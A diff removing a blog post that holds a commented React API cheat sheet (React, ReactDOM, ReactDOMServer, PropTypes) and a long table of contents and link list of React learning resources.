-          value: React
-        - name: 'twitter:description'
-          value: A cautionary tale about riding
-        - name: 'twitter:image'
-          value: images/3.jpg
-          relativeUrl: true
-template: post
----
-
-# React Cheat Sheets
-
-```js
-/* *******************************************************************************************
- * REACT.JS CHEATSHEET
- * DOCUMENTATION: https://reactjs.org/docs/
- * FILE STRUCTURE: https://reactjs.org/docs/faq-structure.html
- * ******************************************************************************************* */
-```
-
-npm install --save react // declarative and flexible JavaScript library for building UI
-npm install --save react-dom // serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types // runtime type checking for React props and similar objects
-
-```
-
-// notes: don't forget the command lines
-
-/* *******************************************************************************************
- * REACT
- * https://reactjs.org/docs/react-api.html
- * ******************************************************************************************* */
-
-// Create and return a new React element of the given type.
-// Code written with JSX will be converted to use React.createElement().
-// You will not typically invoke React.createElement() directly if you are using JSX.
-React.createElement(
-  type,
-  [props],
-  [...children]
-)
-
-// Clone and return a new React element using element as the starting point.
-// The resulting element will have the original element's props with the new props merged in shallowly.
-React.cloneElement(
-  element,
-  [props],
-  [...children]
-)
-
-// Verifies the object is a React element. Returns true or false.
-React.isValidElement(object)
-
-React.Children  // provides utilities for dealing with the this.props.children opaque data structure.
-
-// Invokes a function on every immediate child contained within children with this set to thisArg.
-React.Children.map(children, function[(thisArg)])
-
-// Like React.Children.map() but does not return an array.
-React.Children.forEach(children, function[(thisArg)])
-
-// Returns the total number of components in children,
-// equal to the number of times that a callback passed to map or forEach would be invoked.
-React.Children.count(children)
-
-// Verifies that children has only one child (a React element) and returns it.
-// Otherwise this method throws an error.
-React.Children.only(children)
-
-// Returns the children opaque data structure as a flat array with keys assigned to each child.
-// Useful if you want to manipulate collections of children in your render methods,
-// especially if you want to reorder or slice this.props.children before passing it down.
-React.Children.toArray(children)
-
-// The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-// You can also use it with the shorthand <></> syntax.
-React.Fragment
-
-/* *******************************************************************************************
- * REACT.COMPONENT
- * React.Component is an abstract base class, so it rarely makes sense to refer to React.Component
- * directly. Instead, you will typically subclass it, and define at least a render() method.
- * https://reactjs.org/docs/react-component.html
- * ******************************************************************************************* */
-
-class Component extends React.Component {
-  // Will be called before it is mounted
-  constructor(props) {
-    // Call this method before any other statement
-    // or this.props will be undefined in the constructor
-    super(props);
-
-    // The constructor is also often used to bind event handlers to the class instance.
-    // Binding makes sure the method has access to component attributes like this.props and this.state
-    this.method = this.method.bind(this);
-
-    // The constructor is the right place to initialize state.
-    this.state = {
-      active: true,
-
-      // In rare cases, it's okay to initialize state based on props.
-      // This effectively "forks" the props and sets the state with the initial props.
-      // If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps)
-      // to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-      color: props.initialColor
-    };
-  }
-
-  // Enqueues changes to the component state and
-  // tells React that this component and its children need to be re-rendered with the updated state.
-  // setState() does not always immediately update the component. It may batch or defer the update until later.
-  // This makes reading this.state right after calling setState() a potential pitfall.
-  // Instead, use componentDidUpdate or a setState callback.
-  // You may optionally pass an object as the first argument to setState() instead of a function.
-  setState(updater[, callback]) { }
-
-  // Invoked just before mounting occurs (before render())
-  // This is the only lifecycle hook called on server rendering.
-  componentWillMount() { }
-
-  // Invoked immediately after a component is mounted.
-  // Initialization that requires DOM nodes should go here.
-  // If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-  // This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-  componentDidMount() { }
-
-  // Invoked before a mounted component receives new props.
-  // If you need to update the state in response to prop changes (for example, to reset it),
-  // you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-  componentWillReceiveProps(nextProps) { }
-
-  // Let React know if a component's output is not affected by the current change in state or props.
-  // The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-  // shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-  // This method is not called for the initial render or when forceUpdate() is used.
-  // Returning false does not prevent child components from re-rendering when their state changes.
-  shouldComponentUpdate(nextProps, nextState) { }
-
-  // Invoked just before rendering when new props or state are being received.
-  // Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-  // Note that you cannot call this.setState() here; nor should you do anything else
-  // (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-  // If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-  componentWillUpdate(nextProps, nextState) { }
-
-  // Invoked immediately after updating occurs. This method is not called for the initial render.
-  // Use this as an opportunity to operate on the DOM when the component has been updated.
-  // This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-  componentDidUpdate(prevProps, prevState) { }
-
-  // Invoked immediately before a component is unmounted and destroyed.
-  // Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests,
-  // or cleaning up any subscriptions that were created in componentDidMount().
-  componentWillUnmount() { }
-
-  // Error boundaries are React components that catch JavaScript errors anywhere in their child component tree,
-  // log those errors, and display a fallback UI instead of the component tree that crashed.
-  // Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-  componentDidCatch() { }
-
-  // This method is required.
-  // It should be pure, meaning that it does not modify component state,
-  // it returns the same result each time it's invoked, and
-  // it does not directly interact with the browser (use lifecycle methods for this)
-  // It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-  render() {
-    // Contains the props that were defined by the caller of this component.
-    console.log(this.props);
-
-    // Contains data specific to this component that may change over time.
-    // The state is user-defined, and it should be a plain JavaScript object.
-    // If you don't use it in render(), it shouldn't be in the state.
-    // For example, you can put timer IDs directly on the instance.
-    // Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-    // Treat this.state as if it were immutable.
-    console.log(this.state);
-
-    return (
-      <div>
-        {/* Comment goes here */}
-        Hello, {this.props.name}!
-      </div>
-    );
-  }
-}
-
-// Can be defined as a property on the component class itself, to set the default props for the class.
-// This is used for undefined props, but not for null props.
-Component.defaultProps = {
-  color: 'blue'
-};
-
-component = new Component();
-
-// By default, when your component's state or props change, your component will re-render.
-// If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-// Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-component.forceUpdate(callback)
-
-/* *******************************************************************************************
- * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
- * Most of your components should not need to use this module.
- * https://reactjs.org/docs/react-dom.html
- * ******************************************************************************************* */
-
-// Render a React element into the DOM in the supplied container and return a reference
-// to the component (or returns null for stateless components).
-ReactDOM.render(element, container[, callback])
-
-// Same as render(), but is used to hydrate a container whose HTML contents were rendered
-// by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-ReactDOM.hydrate(element, container[, callback])
-
-// Remove a mounted React component from the DOM and clean up its event handlers and state.
-// If no component was mounted in the container, calling this function does nothing.
-// Returns true if a component was unmounted and false if there was no component to unmount.
-ReactDOM.unmountComponentAtNode(container)
-
-// If this component has been mounted into the DOM, this returns the corresponding native browser
-// DOM element. This method is useful for reading values out of the DOM, such as form field values
-// and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-// using findDOMNode at all.
-ReactDOM.findDOMNode(component)
-
-// Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-// the hierarchy of the DOM component.
-ReactDOM.createPortal(child, container)
-
-/* *******************************************************************************************
- * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
- * https://reactjs.org/docs/react-dom.html
- * ******************************************************************************************* */
-
-// Render a React element to its initial HTML. React will return an HTML string.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToString(element)
-
-// Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticMarkup(element)
-
-// Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-// The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToNodeStream(element)
-
-// Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticNodeStream(element)
-
-/* *******************************************************************************************
- * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
- * ******************************************************************************************* */
-
-import PropTypes from 'prop-types';
-
-MyComponent.propTypes = {
-  // You can declare that a prop is a specific JS type. By default, these
-  // are all optional.
-  optionalArray: PropTypes.array,
-  optionalBool: PropTypes.bool,
-  optionalFunc: PropTypes.func,
-  optionalNumber: PropTypes.number,
-  optionalObject: PropTypes.object,
-  optionalString: PropTypes.string,
-  optionalSymbol: PropTypes.symbol,
-
-  // Anything that can be rendered: numbers, strings, elements or an array
-  // (or fragment) containing these types.
-  optionalNode: PropTypes.node,
-
-  // A React element.
-  optionalElement: PropTypes.element,
-
-  // You can also declare that a prop is an instance of a class. This uses
-  // JS's instanceof operator.
-  optionalMessage: PropTypes.instanceOf(Message),
-
-  // You can ensure that your prop is limited to specific values by treating
-  // it as an enum.
-  optionalEnum: PropTypes.oneOf(['News', 'Photos']),
-
-  // An object that could be one of many types
-  optionalUnion: PropTypes.oneOfType([
-    PropTypes.string,
-    PropTypes.number,
-    PropTypes.instanceOf(Message)
-  ]),
-
-  // An array of a certain type
-  optionalArrayOf: PropTypes.arrayOf(PropTypes.number),
-
-  // An object with property values of a certain type
-  optionalObjectOf: PropTypes.objectOf(PropTypes.number),
-
-  // An object taking on a particular shape
-  optionalObjectWithShape: PropTypes.shape({
-    color: PropTypes.string,
-    fontSize: PropTypes.number
-  }),
-
-  // You can chain any of the above with `isRequired` to make sure a warning
-  // is shown if the prop isn't provided.
-  requiredFunc: PropTypes.func.isRequired,
-
-  // A value of any data type
-  requiredAny: PropTypes.any.isRequired,
-
-  // You can also specify a custom validator. It should return an Error
-  // object if the validation fails. Don't `console.warn` or throw, as this
-  // won't work inside `oneOfType`.
-  customProp: function(props, propName, componentName) {
-    if (!/matchme/.test(props[propName])) {
-      return new Error(
-        'Invalid prop `' + propName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  },
-
-  // You can also supply a custom validator to `arrayOf` and `objectOf`.
-  // It should return an Error object if the validation fails. The validator
-  // will be called for each key in the array or object. The first two
-  // arguments of the validator are the array or object itself, and the
-  // current item's key.
-  customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-    if (!/matchme/.test(propValue[key])) {
-      return new Error(
-        'Invalid prop `' + propFullName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  })
-};
-
-```
-
-# React Cheat Sheet
-
-<details>
-
-<summary>Table Of Contents</summary>
-
--   [React Cheat Sheet](#react-cheat-sheet)
--   [General React Resources](#general-react-resources)
-    -   [React Resources:](#react-resources) - [> JavaScript Library for building User Interfaces](#-javascript-library-for-building-user-interfaces)
-        -   [**React General Resources**](#react-general-resources)
-        -   [**React Community**](#react-community)
-        -   [**React Online Playgrounds**](#react-online-playgrounds)
-        -   [**React Tutorials**](#react-tutorials)
-        -   [**React General Tutorials**](#react-general-tutorials)
-        -   [**React Hooks**](#react-hooks)
-        -   [**React and TypeScript**](#react-and-typescript)
-        -   [**React Performance**](#react-performance)
-        -   [**React Internals**](#react-internals)
-        -   [**React Interview Questions**](#react-interview-questions)
-        -   [**React Tools**](#react-tools)
-        -   [**React Development Tools**](#react-development-tools)
-        -   [**React Starter Kits and Toolchains**](#react-starter-kits-and-toolchains)
-        -   [**React Frameworks**](#react-frameworks)
-        -   [**React Styling**](#react-styling)
-        -   [**React Routing**](#react-routing)
-        -   [**React Component Libraries**](#react-component-libraries)
-        -   [**React Awesome Components**](#react-awesome-components)
-        -   [**React Testing**](#react-testing)
-        -   [**React Libraries**](#react-libraries)
-        -   [**React Integration**](#react-integration)
-        -   [**React State Management**](#react-state-management)
-        -   [**React AR and VR**](#react-ar-and-vr)
-        -   [**React Renderers**](#react-renderers)
-        -   [**React Forms**](#react-forms)
-        -   [**React Autocomplete**](#react-autocomplete)
-        -   [**React Graphics**](#react-graphics)
-        -   [**React Data Managing**](#react-data-managing)
-        -   [**React Maps**](#react-maps)
-        -   [**React Charts**](#react-charts)
-        -   [React Native](#react-native)
-            -   [**React Native General Resources**](#react-native-general-resources)
-            -   [**React Native Tutorials**](#react-native-tutorials)
-            -   [**React Native Development Tools**](#react-native-development-tools)
-            -   [**React Native Sample Apps**](#react-native-sample-apps)
-            -   [**React Native Boilerplates**](#react-native-boilerplates)
-            -   [**React Native Awesome Components**](#react-native-awesome-components)
-            -   [**React Native Libraries**](#react-native-libraries)
-        -   [Redux](#redux)
-            -   [**Redux Tools**](#redux-tools)
-            -   [**Redux Tutorials**](#redux-tutorials)
-    -   [Data-Driven React Applications](#data-driven-react-applications)
-        -   [Videos](#videos)
-            -   [**Reactjsvideos.com**](#reactjsvideoscom)
-        -   [Demo React Apps](#demo-react-apps)
-        -   [Real React Apps](#real-react-apps)
-    -   [**Hello World**](#hello-world)
-    -   [The smallest React example looks like this:](#the-smallest-react-example-looks-like-this)
-    -   [<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/wveBJBM"></iframe>](#iframe-frameborder0-width100-height800px-srchttpscodepeniobgoonzpenwvebjbmiframe)
-        -   [**Introducing JSX**](#introducing-jsx)
-        -   [Consider this variable declaration:](#consider-this-variable-declaration)
-        -   [Why JSX?](#why-jsx)
-        -   [Embedding Expressions in JSX](#embedding-expressions-in-jsx)
-            -   [We split JSX over multiple lines for readability. While it isn't required, when doing this, we also recommend wrapping it in parentheses to avoid the pitfalls of automatic semicolon insertion.](#we-split-jsx-over-multiple-lines-for-readability-while-it-isnt-required-when-doing-this-we-also-recommend-wrapping-it-in-parentheses-to-avoid-the-pitfalls-of-automatic-semicolon-insertion)
-        -   [JSX is an Expression Too](#jsx-is-an-expression-too)
-        -   [Specifying Attributes with JSX](#specifying-attributes-with-jsx)
-        -   [Specifying Children with JSX](#specifying-children-with-jsx)
-        -   [JSX Prevents Injection Attacks](#jsx-prevents-injection-attacks)
-        -   [JSX Represents Objects](#jsx-represents-objects)
-            -   [We will explore rendering React elements to the DOM in the next section.](#we-will-explore-rendering-react-elements-to-the-dom-in-the-next-section)
-        -   [**Rendering Elements**](#rendering-elements)
-        -   [Elements are the smallest building blocks of React apps.](#elements-are-the-smallest-building-blocks-of-react-apps)
-        -   [Rendering an Element into the DOM](#rendering-an-element-into-the-dom)
-            -   [We call this a "root" DOM node because everything inside it will be managed by React DOM.](#we-call-this-a-root-dom-node-because-everything-inside-it-will-be-managed-by-react-dom)
-        -   [Updating the Rendered Element](#updating-the-rendered-element)
-        -   [React Only Updates What's Necessary](#react-only-updates-whats-necessary)
-        -   [**Components and Props**](#components-and-props)
-        -   [Components let you split the UI into independent, reusable pieces, and think about each piece in isolation. This page provides an introduction to the idea of components. You can find a detailed component API reference here.](#components-let-you-split-the-ui-into-independent-reusable-pieces-and-think-about-each-piece-in-isolation-this-page-provides-an-introduction-to-the-idea-of-components-you-can-find-a-detailed-component-api-reference-here)
-        -   [Function and Class Components](#function-and-class-components)
-        -   [Rendering a Component](#rendering-a-component)
-            -   [For example, this code renders "Hello, Sara" on the page:](#for-example-this-code-renders-hello-sara-on-the-page)
-        -   [Composing Components](#composing-components)
-            -   [For example, we can create an `App` component that renders `Welcome` many times:](#for-example-we-can-create-an-app-component-that-renders-welcome-many-times)
-        -   [Extracting Components](#extracting-components)
-            -   [For example, consider this `Comment` component:](#for-example-consider-this-comment-component)
-            -   [We recommend naming props from the component's own point of view rather than the context in which it is being used.](#we-recommend-naming-props-from-the-components-own-point-of-view-rather-than-the-context-in-which-it-is-being-used)
-            -   [We can now simplify `Comment` a tiny bit:](#we-can-now-simplify-comment-a-tiny-bit)
-        -   [Props are Read-Only](#props-are-read-only)
-        -   [**State and Lifecycle**](#state-and-lifecycle)
-        -   [This page introduces the concept of state and lifecycle in a React component. You can find a detailed component API reference here.](#this-page-introduces-the-concept-of-state-and-lifecycle-in-a-react-component-you-can-find-a-detailed-component-api-reference-here)
-            -   [We can start by encapsulating how the clock looks:](#we-can-start-by-encapsulating-how-the-clock-looks)
-        -   [Converting a Function to a Class](#converting-a-function-to-a-class)
-        -   [Adding Local State to a Class](#adding-local-state-to-a-class)
-            -   [We will move the `date` from props to state in three steps:](#we-will-move-the-date-from-props-to-state-in-three-steps)
-        -   [Adding Lifecycle Methods to a Class](#adding-lifecycle-methods-to-a-class)
-            -   [We want to set up a timer whenever the `Clock` is rendered to the DOM for the first time. This is called "mounting" in React.](#we-want-to-set-up-a-timer-whenever-the-clock-is-rendered-to-the-dom-for-the-first-time-this-is-called-mounting-in-react)
-            -   [We also want to clear that timer whenever the DOM produced by the `Clock` is removed. This is called "unmounting" in React.](#we-also-want-to-clear-that-timer-whenever-the-dom-produced-by-the-clock-is-removed-this-is-called-unmounting-in-react)
-            -   [We can declare special methods on the component class to run some code when a component mounts and unmounts:](#we-can-declare-special-methods-on-the-component-class-to-run-some-code-when-a-component-mounts-and-unmounts)
-            -   [We will tear down the timer in the `componentWillUnmount()` lifecycle method:](#we-will-tear-down-the-timer-in-the-componentwillunmount-lifecycle-method)
-        -   [Using State Correctly](#using-state-correctly)
-        -   [Do Not Modify State Directly](#do-not-modify-state-directly)
-            -   [For example, this will not re-render a component:](#for-example-this-will-not-re-render-a-component)
-            -   [Instead, use `setState()`:](#instead-use-setstate)
-        -   [State Updates May Be Asynchronous](#state-updates-may-be-asynchronous)
-            -   [For example, this code may fail to update the counter:](#for-example-this-code-may-fail-to-update-the-counter)
-        -   [State Updates are Merged](#state-updates-are-merged)
-            -   [For example, your state may contain several independent variables:](#for-example-your-state-may-contain-several-independent-variables)
-        -   [The Data Flows Down](#the-data-flows-down)
-        -   [**Handling Events**](#handling-events)
-        -   [Handling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:](#handling-events-with-react-elements-is-very-similar-to-handling-events-on-dom-elements-there-are-some-syntax-differences)
-            -   [For example, the HTML:](#for-example-the-html)
-            -   [In React, this could instead be:](#in-react-this-could-instead-be)
-        -   [Passing Arguments to Event Handlers](#passing-arguments-to-event-handlers)
-        -   [**Conditional Rendering**](#conditional-rendering)
-        -   [In React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.](#in-react-you-can-create-distinct-components-that-encapsulate-behavior-you-need-then-you-can-render-only-some-of-them-depending-on-the-state-of-your-application)
-            -   [We'll create a `Greeting` component that displays either of these components depending on whether a user is logged in:](#well-create-a-greeting-component-that-displays-either-of-these-components-depending-on-whether-a-user-is-logged-in)
-        -   [Element Variables](#element-variables)
-            -   [In the example below, we will create a stateful component called `LoginControl`.](#in-the-example-below-we-will-create-a-stateful-component-called-logincontrol)
-        -   [Inline If with Logical && Operator](#inline-if-with-logical--operator)
-        -   [Inline If-Else with Conditional Operator](#inline-if-else-with-conditional-operator)
-        -   [Preventing Component from Rendering](#preventing-component-from-rendering)
-        -   [**Lists and Keys**](#lists-and-keys)
-        -   [First, let's review how you transform lists in JavaScript.](#first-lets-review-how-you-transform-lists-in-javascript)
-        -   [Rendering Multiple Components](#rendering-multiple-components)
-        -   [Basic List Component](#basic-list-component)
-            -   [We can refactor the previous example into a component that accepts an array of `numbers` and outputs a list of elements.](#we-can-refactor-the-previous-example-into-a-component-that-accepts-an-array-of-numbers-and-outputs-a-list-of-elements)
-        -   [Keys](#keys)
-        -   [Extracting Components with Keys](#extracting-components-with-keys)
-            -   [For example, if you extract a `ListItem` component, you should keep the key on the `<ListItem />` elements in the array rather than on the `<li>` element in the `ListItem` itself.](#for-example-if-you-extract-a-listitem-component-you-should-keep-the-key-on-the-listitem--elements-in-the-array-rather-than-on-the-li-element-in-the-listitem-itself)
-        -   [Keys Must Only Be Unique Among Siblings](#keys-must-only-be-unique-among-siblings)
-        -   [Embedding map() in JSX](#embedding-map-in-jsx)
-        -   [**Forms**](#forms)
-        -   [HTML form elements work a bit differently from other DOM elements in React, because form elements naturally keep some internal state. ##### For example, this form in plain HTML accepts a single name:](#html-form-elements-work-a-bit-differently-from-other-dom-elements-in-react-because-form-elements-naturally-keep-some-internal-state--for-example-this-form-in-plain-html-accepts-a-single-name)
-        -   [Controlled Components](#controlled-components)
-            -   [We can combine the two by making the React state be the "single source of truth". Then the React component that renders a form also controls what happens in that form on subsequent user input. An input form element whose value is controlled by React in this way is called a "controlled component".](#we-can-combine-the-two-by-making-the-react-state-be-the-single-source-of-truth-then-the-react-component-that-renders-a-form-also-controls-what-happens-in-that-form-on-subsequent-user-input-an-input-form-element-whose-value-is-controlled-by-react-in-this-way-is-called-a-controlled-component)
-            -   [For example, if we want to make the previous example log the name when it is submitted, we can write the form as a controlled component:](#for-example-if-we-want-to-make-the-previous-example-log-the-name-when-it-is-submitted-we-can-write-the-form-as-a-controlled-component)
-        -   [The textarea Tag](#the-textarea-tag)
-            -   [In React, a `<textarea>` uses a `value` attribute instead. This way, a form using a `<textarea>` can be written very similarly to a form that uses a single-line input:](#in-react-a-textarea-uses-a-value-attribute-instead-this-way-a-form-using-a-textarea-can-be-written-very-similarly-to-a-form-that-uses-a-single-line-input)
-        -   [The select Tag](#the-select-tag)
-        -   [The file input Tag](#the-file-input-tag)
-        -   [Handling Multiple Inputs](#handling-multiple-inputs)
-            -   [For example:](#for-example)
-        -   [Controlled Input Null Value](#controlled-input-null-value)
-        -   [Alternatives to Controlled Components](#alternatives-to-controlled-components)
-        -   [Fully-Fledged Solutions](#fully-fledged-solutions)
-        -   [**Lifting State Up**](#lifting-state-up)
-        -   [Often, several components need to reflect the same changing data. We recommend lifting the shared state up to their closest common ancestor. Let's see how this works in action.](#often-several-components-need-to-reflect-the-same-changing-data-we-recommend-lifting-the-shared-state-up-to-their-closest-common-ancestor-lets-see-how-this-works-in-action)
-            -   [We will start with a component called `BoilingVerdict`. It accepts the `celsius` temperature as a prop, and prints whether it is enough to boil the water:](#we-will-start-with-a-component-called-boilingverdict-it-accepts-the-celsius-temperature-as-a-prop-and-prints-whether-it-is-enough-to-boil-the-water)
-        -   [Adding a Second Input](#adding-a-second-input)
-            -   [We can start by extracting a `TemperatureInput` component from `Calculator`. We will add a new `scale` prop to it that can either be `"c"` or `"f"`:](#we-can-start-by-extracting-a-temperatureinput-component-from-calculator-we-will-add-a-new-scale-prop-to-it-that-can-either-be-c-or-f)
-            -   [We can now change the `Calculator` to render two separate temperature inputs:](#we-can-now-change-the-calculator-to-render-two-separate-temperature-inputs)
-            -   [We have two inputs now, but when you enter the temperature in one of them, the other doesn't update. This contradicts our requirement: we want to keep them in sync.](#we-have-two-inputs-now-but-when-you-enter-the-temperature-in-one-of-them-the-other-doesnt-update-this-contradicts-our-requirement-we-want-to-keep-them-in-sync)
-            -   [We also can't display the `BoilingVerdict` from `Calculator`. The `Calculator` doesn't know the current temperature because it is hidden inside the `TemperatureInput`.](#we-also-cant-display-the-boilingverdict-from-calculator-the-calculator-doesnt-know-the-current-temperature-because-it-is-hidden-inside-the-temperatureinput)
-        -   [Writing Conversion Functions](#writing-conversion-functions)
-            -   [For example, `tryConvert('abc', toCelsius)` returns an empty string, and `tryConvert('10.22', toFahrenheit)` returns `'50.396'`.](#for-example-tryconvertabc-tocelsius-returns-an-empty-string-and-tryconvert1022-tofahrenheit-returns-50396)
-        -   [Lifting State Up](#lifting-state-up-1)
-            -   [We know that props are read-only. When the `temperature` was in the local state, the `TemperatureInput` could just call `this.setState()` to change it. However, now that the `temperature` is coming from the parent as a prop, the `TemperatureInput` has no control over it.](#we-know-that-props-are-read-only-when-the-temperature-was-in-the-local-state-the-temperatureinput-could-just-call-thissetstate-to-change-it-however-now-that-the-temperature-is-coming-from-the-parent-as-a-prop-the-temperatureinput-has-no-control-over-it)
-            -   [We will store the current input's `temperature` and `scale` in its local state. This is the state we "lifted up" from the inputs, and it will serve as the "source of truth" for both of them. It is the minimal representation of all the data we need to know in order to render both inputs.](#we-will-store-the-current-inputs-temperature-and-scale-in-its-local-state-this-is-the-state-we-lifted-up-from-the-inputs-and-it-will-serve-as-the-source-of-truth-for-both-of-them-it-is-the-minimal-representation-of-all-the-data-we-need-to-know-in-order-to-render-both-inputs)
-            -   [For example, if we enter 37 into the Celsius input, the state of the `Calculator` component will be:](#for-example-if-we-enter-37-into-the-celsius-input-the-state-of-the-calculator-component-will-be)
-            -   [We could have stored the value of both inputs but it turns out to be unnecessary. It is enough to store the value of the most recently changed input, and the scale that it represents. We can then infer the value of the other input based on the current `temperature` and `scale` alone.](#we-could-have-stored-the-value-of-both-inputs-but-it-turns-out-to-be-unnecessary-it-is-enough-to-store-the-value-of-the-most-recently-changed-input-and-the-scale-that-it-represents-we-can-then-infer-the-value-of-the-other-input-based-on-the-current-temperature-and-scale-alone)
-        -   [Lessons Learned](#lessons-learned)
-        -   [**Composition vs Inheritance**](#composition-vs-inheritance)
-        -   [React has a powerful composition model, and we recommend using composition instead of inheritance to reuse code between components.](#react-has-a-powerful-composition-model-and-we-recommend-using-composition-instead-of-inheritance-to-reuse-code-between-components)
-        -   [Containment](#containment)
-            -   [We recommend that such components use the special `children` prop to pass children elements directly into their output:](#we-recommend-that-such-components-use-the-special-children-prop-to-pass-children-elements-directly-into-their-output)
-        -   [Specialization](#specialization)
-        -   [So What About Inheritance?](#so-what-about-inheritance)
-        -   [**Thinking in React**](#thinking-in-react)
-        -   [React is, in our opinion, the premier way to build big, fast Web apps with JavaScript. It has scaled very well for us at Facebook and Instagram.](#react-is-in-our-opinion-the-premier-way-to-build-big-fast-web-apps-with-javascript-it-has-scaled-very-well-for-us-at-facebook-and-instagram)
-        -   [Start With A Mock](#start-with-a-mock)
-        -   [Step 1: Break The UI Into A Component Hierarchy](#step-1-break-the-ui-into-a-component-hierarchy)
-        -   [Step 2: Build A Static Version in React](#step-2-build-a-static-version-in-react)
-        -   [A Brief Interlude: Props vs State](#a-brief-interlude-props-vs-state)
-        -   [Step 3: Identify The Minimal (but complete) Representation Of UI State](#step-3-identify-the-minimal-but-complete-representation-of-ui-state)
-        -   [Step 4: Identify Where Your State Should Live](#step-4-identify-where-your-state-should-live)
-        -   [Step 5: Add Inverse Data Flow](#step-5-add-inverse-data-flow)
-        -   [And That's It](#and-thats-it)
-
-</details>
-
----
-
-# General React Resources
-
-## React Resources:
-
-<details>
-
-#<summary>**React Resources**</summary>
-
-##### > JavaScript Library for building User Interfaces
-
-#### **React General Resources**
-
--   [React Official Website](https://reactjs.org)
--   [React Documentation](https://reactjs.org/docs)
--   [React GitHub](https://github.com/facebook/react)
-
-#### **React Community**
-
--   [Reactiflux Discord Channel](http://www.reactiflux.com)
--   [React StackOverflow](http://stackoverflow.com/questions/tagged/reactjs)
--   [React Twitter](https://twitter.com/reactjs)
-
-#### **React Online Playgrounds**
-
--   [CodePen](https://reactjs.org/redirect-to-codepen/hello-world)
--   [CodeSandbox)\*\*](https://codesandbox.io/s/new)
--   [JSFiddle](https://jsfiddle.net/boilerplate/react-jsx)
--   **Another Awesome Lists**
--   [React/Redux Links](https://github.com/markerikson/react-redux-links)
-
-#### **React Tutorials**
-
-#### **React General Tutorials**
-
--   [React Official Tutorial](https://reactjs.org/tutorial/tutorial.html)
--   [Using React in Visual Studio Code)\*\*](https://code.visualstudio.com/docs/nodejs/reactjs-tutorial)
--   [Scrimba - Learn React for free interactively](https://scrimba.com/g/glearnreact)
--   [FreeCodeCamp React Challenges](https://learn.freecodecamp.org/front-end-libraries/react)
--   [React Cheatsheet](https://devhints.io/react)
--   [React Patterns](https://reactpatterns.com)
--   [Setup Flow with React](https://flow.org/en/docs/react/)
-
-#### **React Hooks**
-
--   [React Hooks](https://reactjs.org/docs/hooks-intro.html)
--   [Awesome React Hooks](https://github.com/rehooks/awesome-react-hooks)
--   [Thinking in React Hooks](https://wattenberger.com/blog/react-hooks)
--   [Replacing Redux with React Hooks and Context](https://medium.com/octopus-labs-london/replacing-redux-with-react-hooks-and-context-part-1-11b72ffdb533)
--   [React Hooks cheat sheet: Unlock solutions to common problems](https://blog.logrocket.com/react-hooks-cheat-sheet-unlock-solutions-to-common-problems-af4caf699e70/)
--   [How to fetch data with React Hooks?](https://www.robinwieruch.de/react-hooks-fetch-data/)
--   [Easy to understand React Hook recipes](https://usehooks.com)
--   [React Hooks Video Tutorial](https://www.youtube.com/playlist?list=PLN3n1USn4xlmyw3ebYuZmGp60mcENitdM)
-
-#### **React and TypeScript**
-
--   [TypeScript, React and Webpack](https://www.typescriptlang.org/docs/handbook/react-&-webpack.html)
--   [JSX in TypeScript](https://www.typescriptlang.org/docs/handbook/jsx.html)
--   [Cheatsheets for experienced React developers getting started with TypeScript](https://github.com/typescript-cheatsheets/react-typescript-cheatsheet)
--   [React by Example](https://reactbyexample.github.io)
-
-#### **React Performance**
-
--   [React Optimizing Performance](https://reactjs.org/docs/optimizing-performance.html)
--   [Introducing the React Profiler](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html)
--   [Optimizing React: Virtual DOM explained](https://evilmartians.com/chronicles/optimizing-react-virtual-dom-explained)
--   [A Definitive Guide to Optimize Major Performance issues in React](https://www.simform.com/react-performance/)
